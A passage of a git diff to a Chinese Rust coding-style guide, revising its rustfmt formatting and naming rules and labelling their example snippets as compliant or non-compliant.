语句例外 | |[`brace_style`](https://rust-lang.github.io/rustfmt/?#brace_style)| AlwaysNextLine | No | 应该在语言项的下一行 | |[`brace_style`](https://rust-lang.github.io/rustfmt/?#brace_style)| PreferSameLine | No | 总是优先与语言项保持同一行,where 语句也不例外 | |[`where_single_line`](https://rust-lang.github.io/rustfmt/?#where_single_line)| false(默认)| No | 强制将 `where` 子句放在同一行上 | -|[`brace_style` in control-flow](https://rust-lang.github.io/rustfmt/?#AlwaysSameLine)| AlwaysSameLine (默认) | No | 总在同一行上,用于控制流程中默认值 | -|[`brace_style` in control-flow](https://rust-lang.github.io/rustfmt/?#ClosingNextLine)| ClosingNextLine| No | 用于控制流程中 else 分支在 if 分支结尾处换行| +|[`control_brace_style` in control-flow](https://rust-lang.github.io/rustfmt/?#control_brace_style)| AlwaysSameLine (默认) | No | 总在同一行上,用于控制流程中默认值 | +|[`control_brace_style` in control-flow](https://rust-lang.github.io/rustfmt/?#control_brace_style)| ClosingNextLine| No | 用于控制流程中 else 分支在 if 分支结尾处换行| diff --git a/src/safe-guides/code_style/fmt/P.FMT.05.md b/src/safe-guides/code_style/fmt/P.FMT.05.md index 5a06e0dc..5efefb9d 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.05.md +++ b/src/safe-guides/code_style/fmt/P.FMT.05.md @@ -1,4 +1,4 @@ -## P.FMT.05 存在多个标识符时应该保持块状(Block)缩进 +## P.FMT.05 存在多个标识符时应该保持块状(Block)缩进 **【描述】** @@ -8,6 +8,7 @@ ```rust fn main() { + // 不符合:缩进不符合标准,只是为了对齐 let lorem = vec!["ipsum", "dolor", "sit", @@ -22,6 +23,7 @@ fn main() { ```rust fn main() { + // 不符合:缩进不符合标准,只是为了对齐 if lorem_ipsum && dolor_sit // 注意:这里缩进只是三个空格,仅仅是和前一行 `lorem_ipsum`对齐 && amet_consectetur @@ -42,7 +44,7 @@ fn main() { fn lorem() {} fn lorem(ipsum: usize) {} - +// 不符合 fn lorem(ipsum: usize, dolor: usize, sit: usize, @@ -58,6 +60,7 @@ fn lorem(ipsum: usize, ```rust fn main() { + // 不符合 lorem("lorem", "ipsum", "dolor", @@ -73,6 +76,7 @@ fn main() { ```rust +// 不符合 fn lorem 说明:此宽度并不是指插入多少空格,而是指需要对齐的字符长度。 **【反例】** 当 `enum_discrim_align_threshold = 20` 时。 ```rust +// 不符合: 设置了变体长度最大是20 enum Foo { A = 0, Bb = 1, @@ -26,7 +31,7 @@ enum Bar { 当 `enum_discrim_align_threshold = 50` 时。 ```rust - +// 不符合: 因为通过更改配置值填充了空格 enum Foo { A = 0, Bb = 1, @@ -44,14 +49,14 @@ enum Bar { **【正例】** ```rust - +// 符合: 无论变体长度多长,都左对齐 enum Bar { A = 0, Bb = 1, RandomLongVariantGoesHere = 10, Ccc = 71, } - +// 符合 enum Bar { VeryLongVariantNameHereA = 0, VeryLongVariantNameHereBb = 1, @@ -61,11 +66,7 @@ enum Bar { **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | -| [`enum_discrim_align_threshold`](https://rust-lang.github.io/rustfmt/?#enum_discrim_align_threshold) | 0(默认) | No| 具有判别式的枚举变体与其他变体进行垂直对齐的最大长度。没有判别符的变体在对齐时将被忽略。| +| [`enum_discrim_align_threshold`](https://rust-lang.github.io/rustfmt/?#enum_discrim_align_threshold) | 0(默认) | No| 具有判别式的枚举变体与其他变体进行垂直对齐的最大长度| | [`struct_field_align_threshold`](https://rust-lang.github.io/rustfmt/?#struct_field_align_threshold) | 0(默认) | No| 结构体字段垂直对齐的最大长度| diff --git a/src/safe-guides/code_style/fmt/P.FMT.08.md b/src/safe-guides/code_style/fmt/P.FMT.08.md index 9a62a917..665e939d 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.08.md +++ b/src/safe-guides/code_style/fmt/P.FMT.08.md @@ -1,4 +1,4 @@ -## P.FMT.08 多个函数参数和导入模块的布局 +## P.FMT.08 函数参数超过五个或导入模块个数超过四个需换行 **【描述】** @@ -7,7 +7,7 @@ **【反例】** -当 `fn_args_layout` 和 `imports_layout` 被设置为其他值时: +当 rustfmt 配置型 `fn_args_layout` 和 `imports_layout` 未使用默认值: ```rust trait Lorem { @@ -17,6 +17,7 @@ trait Lorem { // body } + // 不符合: 超过五个参数未使用块状缩进 fn lorem( ipsum: Ipsum, dolor: Dolor, sit: Sit, amet: Amet, consectetur: Consectetur, adipiscing: Adipiscing, elit: Elit, @@ -32,6 +33,7 @@ trait Lorem { use foo::{xxxxxxxxxxxxxxxxxx, yyyyyyyyyyyyyyyyyy, zzzzzzzzzzzzzzzzzz}; +// 不符合: 模块换行即可,无需使用块状缩进 use foo::{ aaaaaaaaaaaaaaaaaa, bbbbbbbbbbbbbbbbbb, @@ -40,11 +42,12 @@ use foo::{ eeeeeeeeeeeeeeeeee, ffffffffffffffffff, }; - ``` **【正例】** +当 rustfmt 配置项 `fn_args_layout` 和 `imports_layout` 使用默认值时: + ```rust trait Lorem { @@ -54,6 +57,7 @@ trait Lorem { // body } + // 符合 fn lorem( ipsum: Ipsum, dolor: Dolor, @@ -64,6 +68,7 @@ trait Lorem { elit: Elit, ); + // 符合 fn lorem( ipsum: Ipsum, dolor: Dolor, @@ -79,6 +84,7 @@ trait Lorem { use foo::{xxxxxxxxxxxxxxxxxx, yyyyyyyyyyyyyyyyyy, zzzzzzzzzzzzzzzzzz}; +// 符合 use foo::{ aaaaaaaaaaaaaaaaaa, bbbbbbbbbbbbbbbbbb, cccccccccccccccccc, dddddddddddddddddd, eeeeeeeeeeeeeeeeee, @@ -87,10 +93,6 @@ use foo::{ **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | | [`fn_args_layout`](https://rust-lang.github.io/rustfmt/?#fn_args_layout) | Tall(默认) | Yes| 函数参数五个或以内可以一行,超过五个则使用块状缩进| diff --git a/src/safe-guides/code_style/fmt/P.FMT.09.md b/src/safe-guides/code_style/fmt/P.FMT.09.md index d95f9034..3c5b0d2d 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.09.md +++ b/src/safe-guides/code_style/fmt/P.FMT.09.md @@ -1,9 +1,7 @@ -## P.FMT.09 空格使用规则 +## P.FMT.09 不同的场景,使用不同的空格风格 **【描述】** -总结: - 1. 在冒号之后添加空格,在冒号之前不要加空格。 2. 在范围(range)操作符(`..`和`..=`)前后不要使用空格。 3. 在`+`或`=`操作符前后要加空格。 @@ -11,6 +9,7 @@ **【反例】** ```rust +// 不符合: 冒号之后未加空格 // 当 `space_after_colon=false` fn lorem(t:T) { let lorem:Dolor = Lorem { @@ -19,6 +18,7 @@ fn lorem(t:T) { }; } +// 不符合: 冒号之前加空格 // 当 `space_before_colon=true` fn lorem(t : T) { let lorem : Dolor = Lorem { @@ -27,10 +27,12 @@ fn lorem(t : T) { }; } +// 不符合: `..`前后加空格 // 当 `spaces_around_ranges=true` let lorem = 0 .. 10; let ipsum = 0 ..= 10; +// 不符合: `+`和`=`前后加空格 // 当 `type_punctuation_density="Compressed"` fn lorem() { // body @@ -41,6 +43,7 @@ fn lorem() { **【正例】** ```rust +// 符合 // 当 `space_after_colon=true` fn lorem(t: T) { let lorem: Dolor = Lorem { @@ -49,6 +52,7 @@ fn lorem(t: T) { }; } +// 符合 // 当 `space_before_colon=false` fn lorem(t: T) { let lorem: Dolor = Lorem { @@ -57,10 +61,12 @@ fn lorem(t: T) { }; } +// 符合 // 当 `spaces_around_ranges=false` let lorem = 0..10; let ipsum = 0..=10; +// 符合 // 当 `type_punctuation_density="Wide"` fn lorem() { // body @@ -70,10 +76,6 @@ fn lorem() { **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | | [`space_after_colon`](https://rust-lang.github.io/rustfmt/?#space_after_colon) | true(默认) | No | 在冒号后面要加空格| diff --git a/src/safe-guides/code_style/fmt/P.FMT.10.md b/src/safe-guides/code_style/fmt/P.FMT.10.md index 7b09cad9..6056ce31 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.10.md +++ b/src/safe-guides/code_style/fmt/P.FMT.10.md @@ -1,4 +1,4 @@ -## P.FMT.10 `match` 分支格式 +## P.FMT.10 `match` 分支应该具有良好的可读性 **【描述】** @@ -8,6 +8,7 @@ **【反例】** ```rust +// 不符合: 与 `=>` 不同行应该用块来包裹 // 当 `match_arm_blocks=false` fn main() { match lorem { @@ -26,6 +27,7 @@ fn main() { // 当 `match_arm_leading_pipes="Alaways"` fn foo() { match foo { + // 不符合: 分支左侧匹配表达式前不要加管道符 | "foo" | "bar" => {} | "baz" | "something relatively long" @@ -42,10 +44,12 @@ fn foo() { // 当 `match_arm_blocks=true` fn main() { match lorem { + // 符合 ipsum => { foooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo(x) } dolor => println!("{}", sit), + // 符合 sit => foo( "foooooooooooooooooooooooo", "baaaaaaaaaaaaaaaaaaaaaaaarr", @@ -57,7 +61,9 @@ fn main() { // 当 `match_arm_leading_pipes="Never"` fn foo() { + match foo { + // 符合 "foo" | "bar" => {} "baz" | "something relatively long" @@ -70,10 +76,6 @@ fn foo() { **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | | [`match_arm_blocks`](https://rust-lang.github.io/rustfmt/?#match_arm_blocks) | true(默认) | No | 当match分支右侧代码体太长无法和`=>`置于同一行需要使用块(block)来包裹| diff --git a/src/safe-guides/code_style/fmt/P.FMT.11.md b/src/safe-guides/code_style/fmt/P.FMT.11.md index 992e7465..027ebf8a 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.11.md +++ b/src/safe-guides/code_style/fmt/P.FMT.11.md @@ -1,28 +1,27 @@ -## P.FMT.11 导入模块分组规则 +## P.FMT.11 导入模块分组应该具有良好的可读性 **【描述】** 1. 导入同一模块的类型,应该置于同一个块内(`imports_granularity="Crate"`)。 2. 模块导入应该按以下规则进行分组(`group_imports="StdExternalCrate"`): - - 导入来自 `std`、`core` 和 `alloc`的模块需要置于前面一组。 - - 导入来自 第三方库的模块 应该置于中间一组。 - - 导入来自本地 `self`、`super`和`crate`前缀的模块,置于后面一组。 + - 导入来自 `std`、`core` 和 `alloc`的模块需要置于前面。 + - 导入来自 第三方库的模块 应该置于中间。 + - 导入来自本地 `self`、`super`和`crate`前缀的模块,置于后面。 3. 分组内使用字典序进行排序(`reorder_imports=true`)。 -说明: 默认 rustfmt 不会对导入的模块自动分组,而是保留开发者的导入顺序。所以,这里需要修改rustfmt 默认配置,但因为这几个配置项暂时未稳定,所以需要在 Nightly 下使用。 +> 说明: 默认 rustfmt 不会对导入的模块自动分组,而是保留开发者的导入顺序。所以,这里需要修改 rustfmt 默认配置,才能让rustfmt应用此规则,但因为这几个配置项暂时未稳定,所以需要在 Nightly 下使用。 **【反例】** ```rust - +// 不符合: 同一模块类型应该置于同一个块内 // 当 `imports_granularity="Preserve"` use foo::b; use foo::b::{f, g}; use foo::{a, c, d::e}; use qux::{h, i}; - -// 当按默认值设置时,模块导入比较乱,影响可读性 +// 不符合:当按默认值设置时,模块导入比较乱,影响可读性 use super::update::convert_publish_payload; use chrono::Utc; @@ -42,6 +41,7 @@ use core::f32; **【正例】** ```rust +// 符合 // 当 `imports_granularity="Crate"` use foo::{ a, b, @@ -51,7 +51,7 @@ use foo::{ }; use qux::{h, i}; - +// 符合 // 当 `group_imports="StdExternalCrate` 且 `reorder_imports=true` use alloc::alloc::Layout; use core::f32; @@ -69,10 +69,6 @@ use crate::models::Event; **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | | [`imports_granularity`](https://rust-lang.github.io/rustfmt/?#imports_granularity) | (Preserve(默认),Crate(推荐))| No | 默认保留开发者的模块导入顺序| diff --git a/src/safe-guides/code_style/fmt/P.FMT.12.md b/src/safe-guides/code_style/fmt/P.FMT.12.md index d5b7e9cb..b2e0ab0a 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.12.md +++ b/src/safe-guides/code_style/fmt/P.FMT.12.md @@ -1,17 +1,16 @@ -## P.FMT.12 声明宏分支格式 +## P.FMT.12 声明宏分支应该具有良好的可读性 **【描述】** 1. 在声明宏中,模式匹配分支(`=>` 左侧)应该使用紧凑格式(`format_macro_matchers=true`)。 -2. 而分支代码体(`=>` 右侧) 使用宽松格式。详细请看示例。 +2. 而分支代码体(`=>` 右侧) 使用宽松格式。 -一切都是为了提升可读性。 - -说明:因为这里需要修改`format_macro_matchers`的默认值,且该配置项并未 Stable ,所以需要 Nightly 下格式化。 +> 说明:因为这里需要修改`format_macro_matchers`的默认值,且该配置项并未 Stable ,所以需要在 Nightly 下修改配置项的值以便使用。 **【反例】** ```rust +// 不符合: 匹配分支使用了宽松格式 // 当 `format_macro_matchers=false`且 `format_macro_bodies=true` macro_rules! foo { ($a: ident : $b: ty) => { @@ -22,6 +21,7 @@ macro_rules! foo { }; } +// 不符合: 分支代码体使用了紧凑格式 // 当 `format_macro_matchers=false`且 `format_macro_bodies=false` macro_rules! foo { ($a: ident : $b: ty) => { @@ -38,10 +38,11 @@ macro_rules! foo { ```rust // 当 `format_macro_matchers=true` 且 `format_macro_bodies=true` macro_rules! foo { - // 匹配分支紧凑格式, `$a:ident` 和 `$b:ty` 各自配对 + // 符合:匹配分支紧凑格式, `$a:ident` 和 `$b:ty` 各自配对 ($a:ident : $b:ty) => { $a(42): $b; // 在代码体内,则宽松一点 }; + // 符合 ($a:ident $b:ident $c:ident) => { $a = $b + $c; }; @@ -50,10 +51,6 @@ macro_rules! foo { **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | | [`format_macro_matchers`](https://rust-lang.github.io/rustfmt/?#format_macro_matchers) | (false(默认),true(建议)) | No |声明宏 模式匹配分支(`=>` 左侧)中要使用紧凑格式| diff --git a/src/safe-guides/code_style/fmt/P.FMT.13.md b/src/safe-guides/code_style/fmt/P.FMT.13.md index a4248845..26f736a5 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.13.md +++ b/src/safe-guides/code_style/fmt/P.FMT.13.md @@ -1,13 +1,13 @@ -## P.FMT.13 具名结构体字段初始化时字段名最好不要省略 +## P.FMT.13 具名结构体字段初始化时不要省略字段名 **【描述】** -因为本规则严重依赖于rustfmt,而rustfmt会根据相应配置项对代码进行自动更改,为了确保不会因为rustfmt配置项的更改而导致代码错误,请在遵循rustfmt使用注意事项的基础上,遵循本规则: +因为本规则依赖于rustfmt,而rustfmt会根据相应配置项对代码进行自动更改,为了确保不会因为rustfmt配置项的更改而导致代码错误,请在遵循rustfmt使用注意事项的基础上遵循本规则: 1. 省略字段名的时候需要注意变量名和字段名保持一致。 -2. 变量名和字段名不一致的情况下,最好不要省略字段名。 +2. 变量名和字段名不一致的情况下,不要省略字段名。 -以此规则标题主要目的是来规范rustfmt的默认配置不会被人设置为`true`,而把代码修改错误。 +> 注意:如果将 rustfmt 默认配置 `use_field_init_shorthand`改为`true`时,有可能会发生代码被修改错误的情况。 **【反例】** @@ -23,9 +23,10 @@ fn main() { let x = 1; let y = 2; let z = 3; - // 这里省略了字段名,用了变量x + // 不符合: 如果允许省略字段名,并且rustfmt 配置 `use_field_init_shorthand`改为`true`时, + // 下面代码中字段`a`就会被rustfmt删除,变为 `Foo{x, y, z}`,从而造成错误 // rustfmt 无法检查这个错误,但是编译时能检查出来,所以要遵循rustfmt使用注意事项就不会出问题 - let a = Foo { x, y, z }; + let a = Foo { a: x, y, z }; } ``` @@ -43,16 +44,13 @@ fn main() { let x = 1; let y = 2; let z = 3; + // 符合 let a = Foo { a: x, y: y, z: z }; } ``` **【rustfmt 配置】** -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - | 对应选项 | 可选值 | 是否 stable | 说明 | | ------ | ---- | ---- | ---- | | [`use_field_init_shorthand`](https://rust-lang.github.io/rustfmt/?#use_field_init_shorthand) | false(默认) | Yes |具名结构体字段初始化不能省略字段名| diff --git a/src/safe-guides/code_style/naming.md b/src/safe-guides/code_style/naming.md index 80638411..179797de 100644 --- a/src/safe-guides/code_style/naming.md +++ b/src/safe-guides/code_style/naming.md @@ -5,14 +5,14 @@ ## 列表 - [P.NAM.01 类型名称应该使用统一的词序](./naming/P.NAM.01.md) -- [P.NAM.02 cargo feature 名中不应该含有无意义的占位词](./naming/P.NAM.02.md) +- [P.NAM.02 为 cargo feature 命名时不应含有无意义的占位词](./naming/P.NAM.02.md) - [P.NAM.03 标识符命名应该符合阅读习惯](./naming/P.NAM.03.md) -- [P.NAM.04 作用域越大,命名越精确;反之应简短](./naming/P.NAM.04.md) +- [P.NAM.04 作用域越大命名越精确,反之应简短](./naming/P.NAM.04.md) - [P.NAM.05 用于访问或获取数据的 `getter` 类方法通常不要使用 `get_` 等前缀](./naming/P.NAM.05.md) - [P.NAM.06 遵循 `iter/ iter_mut/ into_iter` 规范来生成迭代器](./naming/P.NAM.06.md) - [P.NAM.07 避免使用语言内置保留字、关键字、内置类型和trait等特殊名称](./naming/P.NAM.07.md) - [P.NAM.08 避免在变量的命名中添加类型标识](./naming/P.NAM.08.md) -- [P.NAM.09 定义全局静态变量时需加前缀`G_`和常量有所区分](./naming/P.NAM.09.md) +- [P.NAM.09 定义全局静态变量时需加前缀`G_`以便和常量有所区分](./naming/P.NAM.09.md) - [G.NAM.01 使用统一的命名风格](./naming/G.NAM.01.md) - [G.NAM.02 类型转换函数命名需要遵循所有权语义](./naming/G.NAM.02.md) diff --git a/src/safe-guides/code_style/naming/G.NAM.01.md b/src/safe-guides/code_style/naming/G.NAM.01.md index 24464e70..ac485b81 100644 --- a/src/safe-guides/code_style/naming/G.NAM.01.md +++ b/src/safe-guides/code_style/naming/G.NAM.01.md @@ -5,9 +5,9 @@ **【描述】** -Rust 倾向于在“类型级别”的结构中使用 `UpperCamelCase` 命名风格,在 “值(实例)级别”的结构中使用 `snake_case`命名风格。 +Rust 倾向于在“类型”级的结构中使用驼峰( `UpperCamelCase`) 命名风格,在 “变量、值(实例)、函数名”等结构中使用蛇形( `snake_case`)命名风格。 -下面是具体汇总。 +下面是汇总信息: | Item | 规范 | | ---- | ---------- | @@ -30,15 +30,15 @@ Rust 倾向于在“类型级别”的结构中使用 `UpperCamelCase` 命名风 说明 : -1. 在 `UpperCamelCase`情况下,由首字母缩写组成的缩略语和 复合词的缩写,算作一个词。比如,应该使用 `Uuid` 而非 `UUID`,使用 `Usize` 而不是 `USize`,或者是 `Stdin` 而不是 `StdIn`。 -2. 在`snake_case`中,首字母缩写和缩略词是小写的:is_xid_start。 +1. 在 `UpperCamelCase`情况下,由首字母缩写组成的缩略语和 复合词的缩写,算作单个词。比如,应该使用 `Uuid` 而非 `UUID`,使用 `Usize` 而不是 `USize`,或者是 `Stdin` 而不是 `StdIn`。 +2. 在`snake_case`中,首字母缩写和缩略词是小写的 `is_xid_start`。 3. 在 `snake_case` 或者 `SCREAMING_SNAKE_CASE` 情况下,每个词不应该由单个字母组成——除非这个字母是最后一个词。比如,使用 `btree_map` 而不使用 `b_tree_map`,使用 `PI_2` 而不使用 `PI2` 。 关于包命名: - 由于历史问题,包名有两种形式 `snake_case` 或 `kebab-case` ,但实际在代码中需要引入包名的时候,Rust 只能识别 `snake_case`,也会自动将 `kebab-case` 识别为 `kebab_case`。所以建议使用`snake_case`。 -- Crate 的名称通常不应该使用 `-rs` 或者 `-rust` 作为后缀或者前缀。 因为每个 crate 都是 Rust 编写的! 没必要一直提醒使用者这一点。但是有些情况下,比如是其他语言移植的同名 Rust 实现,则可以使用 `-rs` 后缀来表明这是 Rust 实现的版本。 +- Crate 的名称通常不应该使用 `-rs` 或者 `-rust` 作为后缀或者前缀。但是有些情况下,比如是其他语言移植的同名 Rust 实现,则可以使用 `-rs` 后缀来表明这是 Rust 实现的版本。 **【参考】** diff --git a/src/safe-guides/code_style/naming/G.NAM.02.md b/src/safe-guides/code_style/naming/G.NAM.02.md index 4088500d..efea2764 100644 --- a/src/safe-guides/code_style/naming/G.NAM.02.md +++ b/src/safe-guides/code_style/naming/G.NAM.02.md @@ -4,7 +4,7 @@ **【描述】** -应该使用带有以下前缀名称方法来进行特定类型转换: +进行特定类型转换的方法名应该包含以下前缀: | 名称前缀 | 内存代价 | 所有权 | | ------ | ---- | --------- | @@ -13,14 +13,14 @@ | `into_` | 看情况 | owned -\> owned (非 Copy 类型) | 以 `as_` 和 `into_` 作为前缀的类型转换通常是 *降低抽象层次* ,要么是查看背后的数据 ( `as` ) ,要么是分解 (deconstructe) 背后的数据 ( `into` ) 。 -相对来说,以 `to_` 作为前缀的类型转换处于同一个抽象层次,但是做了更多的工作。 +相对来说,以 `to_` 作为前缀的类型转换处于同一个抽象层次,但是底层会做更多工作,比如多了内存拷贝等操作。 -当一个类型用更高级别的语义 (higher-level semantics) 封装 (wraps) 一个与之有关的值时,应该使用 `into_inner()` 方法名来取出被封装的值。 +当一个类型用更高级别的语义 (higher-level semantics) 封装 (wraps) 一个内部类型时,应该使用 `into_inner()` 方法名来取出被封装类型的值。 这适用于以下封装器: 读取缓存 ([`BufReader`](https://doc.rust-lang.org/std/io/struct.BufReader.html#method.into_inner)) 、编码或解码 ([`GzDecoder`](https://docs.rs/flate2/1.0.22/flate2/read/struct.GzDecoder.html#method.into_inner)) 、取出原子 ([`AtomicBool`](https://doc.rust-lang.org/std/sync/atomic/struct.AtomicBool.html#method.into_inner) 、 -或者任何相似的语义 ([`BufWriter`](https://doc.rust-lang.org/stable/std/io/struct.BufWriter.html#method.into_inner))。 +或者任何相似的语义封装 ([`BufWriter`](https://doc.rust-lang.org/stable/std/io/struct.BufWriter.html#method.into_inner))。 **【正例】** @@ -29,9 +29,7 @@ - `as_` - [`str::as_bytes()`](https://doc.rust-lang.org/std/primitive.str.html#method.as_bytes) - 用于查看 UTF-8 字节的 `str` 切片, - 这是无内存代价的(不会产生内存分配)。 - 传入值是 `&str` 类型,输出值是 `&[u8]` 类型。 + 用于查看 UTF-8 字节的 `str` 切片,这是无内存代价的(不会产生内存分配)。 传入值是 `&str` 类型,输出值是 `&[u8]` 类型。 - `to_` - [`Path::to_str`] (https://doc.rust-lang.org/stable/std/path/struct.Path.html#method.to_str) 对操作系统路径进行 UTF-8 字节检查,开销昂贵。 @@ -55,13 +53,10 @@ - [`BufWriter::into_inner()`] (https://doc.rust-lang.org/std/io/struct.BufWriter.html#method.into_inner) 转移了 buffered writer 的所有权,取出其背后的 writer ,这可能以很大的代价刷新所有缓存数据。 -如果类型转换方法返回的类型具有 `mut` 标识符,那么这个方法的名称应如同返回类型组成部分的顺序那样,带有 `mut` 名。 -比如 [`Vec::as_mut_slice`](https://doc.rust-lang.org/std/vec/struct.Vec.html#method.as_mut_slice) 返回 `mut slice` 类型,这个方法的功能正如其名称所述,所以这个名称优于 `as_slice_mut` 。 +如果类型转换方法返回的类型具有 `mut` 修饰,那么这个方法的名称应如同返回类型组成部分的顺序那样,带有 `mut` 。 +比如 [`Vec::as_mut_slice`](https://doc.rust-lang.org/std/vec/struct.Vec.html#method.as_mut_slice) 返回 `&mut [T]` 类型,这个方法的功能正如其名称所述,所以这个名称优于 `as_slice_mut` 。 -```rust -// Return type is a mut slice. -fn as_mut_slice(&mut self) -> &mut [T]; -``` +其他参考示例: - [`Result::as_ref`](https://doc.rust-lang.org/std/result/enum.Result.html#method.as_ref) - [`RefCell::as_ptr`](https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr) diff --git a/src/safe-guides/code_style/naming/P.NAM.01.md b/src/safe-guides/code_style/naming/P.NAM.01.md index e35ef6e6..3fdf62b2 100644 --- a/src/safe-guides/code_style/naming/P.NAM.01.md +++ b/src/safe-guides/code_style/naming/P.NAM.01.md @@ -9,11 +9,7 @@ > > 当crate中类型名称都按照 **动词-宾语-error** 这样的顺序来命名错误类型时,如果要增加新的错误类型,则也需要按同样的词序来增加。 - - -**【正例】** - -以下是来自标准库的处理错误的一些类型: +以下是来自标准库的处理错误的一些类型示例: - [`JoinPathsError`](https://doc.rust-lang.org/std/env/struct.JoinPathsError.html) - [`ParseBoolError`](https://doc.rust-lang.org/std/str/struct.ParseBoolError.html) @@ -25,13 +21,15 @@ 如果你想新增和标准库相似的错误类型,比如“解析地址错误”类型,为了保持词性一致,应该使用`ParseAddrError` 名称,而不是`AddrParseError` +**【反例】** ```rust -struct ParseAddrError{} +// 不符合:与标准库错误类型次序不一致,应该为 ParseAddrError +struct AddrParseError {} ``` -**【反例】** - +**【正例】** ```rust -// 与标准库错误类型次序不一致,应该为 ParseAddrError -struct AddrParseError {} -``` \ No newline at end of file +// 符合: 与标准库错误类型一致 +struct ParseAddrError{} +``` + diff --git a/src/safe-guides/code_style/naming/P.NAM.02.md b/src/safe-guides/code_style/naming/P.NAM.02.md index 16ee619d..8954ba83 100644 --- a/src/safe-guides/code_style/naming/P.NAM.02.md +++ b/src/safe-guides/code_style/naming/P.NAM.02.md @@ -1,21 +1,25 @@ -## P.NAM.02 cargo feature 名中不应该含有无意义的占位词 +## P.NAM.02 为 cargo feature 命名时不应含有无意义的占位词 **【描述】** -给 [Cargo feature](http://doc.crates.io/manifest.html#the-features-section) 命名时,不要带有无实际含义的的词语,比如无需 `use-abc` 或 `with-abc` ,而是直接以 `abc` 命名。 +给 [Cargo feature](http://doc.crates.io/manifest.html#the-features-section) 命名时,不应带有无实际含义的的词语,比如使用`abc`命名来替代 `use-abc` 或 `with-abc`。 这条原则经常出现在对 Rust 标准库进行 [可选依赖(optional-dependency)](https://doc.rust-lang.org/cargo/reference/features.html#optional-dependencies) 配置的 crate 上。 +并且 Cargo 要求 features 应该是相互叠加的,所以像 `no-abc` 这种负向的 feature 命名实际上并不正确。 **【反例】** ```toml # In Cargo.toml -// 不要给 feature 取 `use-std` 或者 `with-std` 或者除 `std` 之外另取名字。 + [features] +// 不符合 default = ["use-std"] std = [] +// 不符合 +no-abc=[] ``` ```rust,ignored @@ -24,27 +28,6 @@ std = [] #![cfg_attr(not(feature = "use-std"), no_std)] ``` -feature 应与 Cargo 在推断可选依赖时隐含的 features 具有一致的名字。 - -假如`x` crate 对 Serde 和 标准库 具有可选依赖关系 - -```toml -[package] -name = "x" -version = "0.1.0" - -[features] -std = ["serde/std"] -// Cargo 要求 features 应该是叠加的,所以像 `no-abc` 这种负向的 feature 命名实际上并不正确。 -no-abc=[] - -[dependencies] -serde = { version = "1.0", optional = true } -``` - - - - **【正例】** 最简洁且正确的做法是: @@ -53,6 +36,7 @@ serde = { version = "1.0", optional = true } # In Cargo.toml [features] +// 符合 default = ["std"] std = [] ``` @@ -63,19 +47,4 @@ std = [] #![cfg_attr(not(feature = "std"), no_std)] ``` -假如 `x` crate 对 Serde 和 标准库具有可选依赖关系: - -```toml -[package] -name = "x" -version = "0.1.0" - -[features] -std = ["serde/std"] - -[dependencies] -serde = { version = "1.0", optional = true } -``` -当我们使用 `x` crate 时,可以使用 `features = ["serde"]` 开启 Serde 依赖。类似地,也可以使用 `features = ["std"]` 开启标准库依赖。 -Cargo 推断的隐含的 features 应该叫做 `serde` ,而不是 `use-serde` 或者 `with-serde` 。 diff --git a/src/safe-guides/code_style/naming/P.NAM.03.md b/src/safe-guides/code_style/naming/P.NAM.03.md index dacf541d..f9c891f9 100644 --- a/src/safe-guides/code_style/naming/P.NAM.03.md +++ b/src/safe-guides/code_style/naming/P.NAM.03.md @@ -9,26 +9,29 @@ - 使用正确的英文单词并符合英文语法,不要使用拼音 - 仅使用常见或领域内通用的单词缩写 - 布尔型变量或函数避免使用否定形式,双重否定不利于理解 -- 不要使用 Unicode 标识符。 +- 不要使用 Unicode 标识符 **【反例】** ```rust +// 不符合: 使用拼音 let ming: &str = "John"; let xing: &str = "Smith"; +// 不符合: 含义不明确 const ERROR_NO_1: u32 = 336; const ERROR_NO_2: u32 = 594; - +// 不符合:函数名字表示的函数作用不明了 fn not_number(s:&str) -> bool {/* ... */} ``` **【正例】** ```rust +// 符合 let first_name: &str = "John"; let last_name: &str = "Smith"; const ERROR_DIRECTORY_NOT_SUPPORTED: u32 = 336; const ERROR_DRIVER_CANCEL_TIMEOUT: u32 = 594; - -fn is_number(s:&str) -> bool {/* ... */} //用来判断是否为整数 +// 符合 +fn is_number(s:&str) -> bool {/* ... */} ``` \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/P.NAM.04.md b/src/safe-guides/code_style/naming/P.NAM.04.md index 55795068..d78a7931 100644 --- a/src/safe-guides/code_style/naming/P.NAM.04.md +++ b/src/safe-guides/code_style/naming/P.NAM.04.md @@ -1,4 +1,4 @@ -## P.NAM.04 作用域越大,命名越精确;反之应简短 +## P.NAM.04 作用域越大命名越精确,反之应简短 **【描述】** @@ -8,26 +8,21 @@ **【反例】** ```rust -// 全局静态变量 -static GET_COUNT: i32 = 42; // 不符合:描述不精确 +// 不符合:描述不精确 +static GET_COUNT: i32 = 42; -// 枚举类型 +// 不符合:信息冗余 enum WebEvent { - // An `enum` may either be `unit-like`, PageLoadEvent, PageUnloadEvent, - // like tuple structs, KeyPressEvent(char), PasteEvent(String), - // or c-like structures. 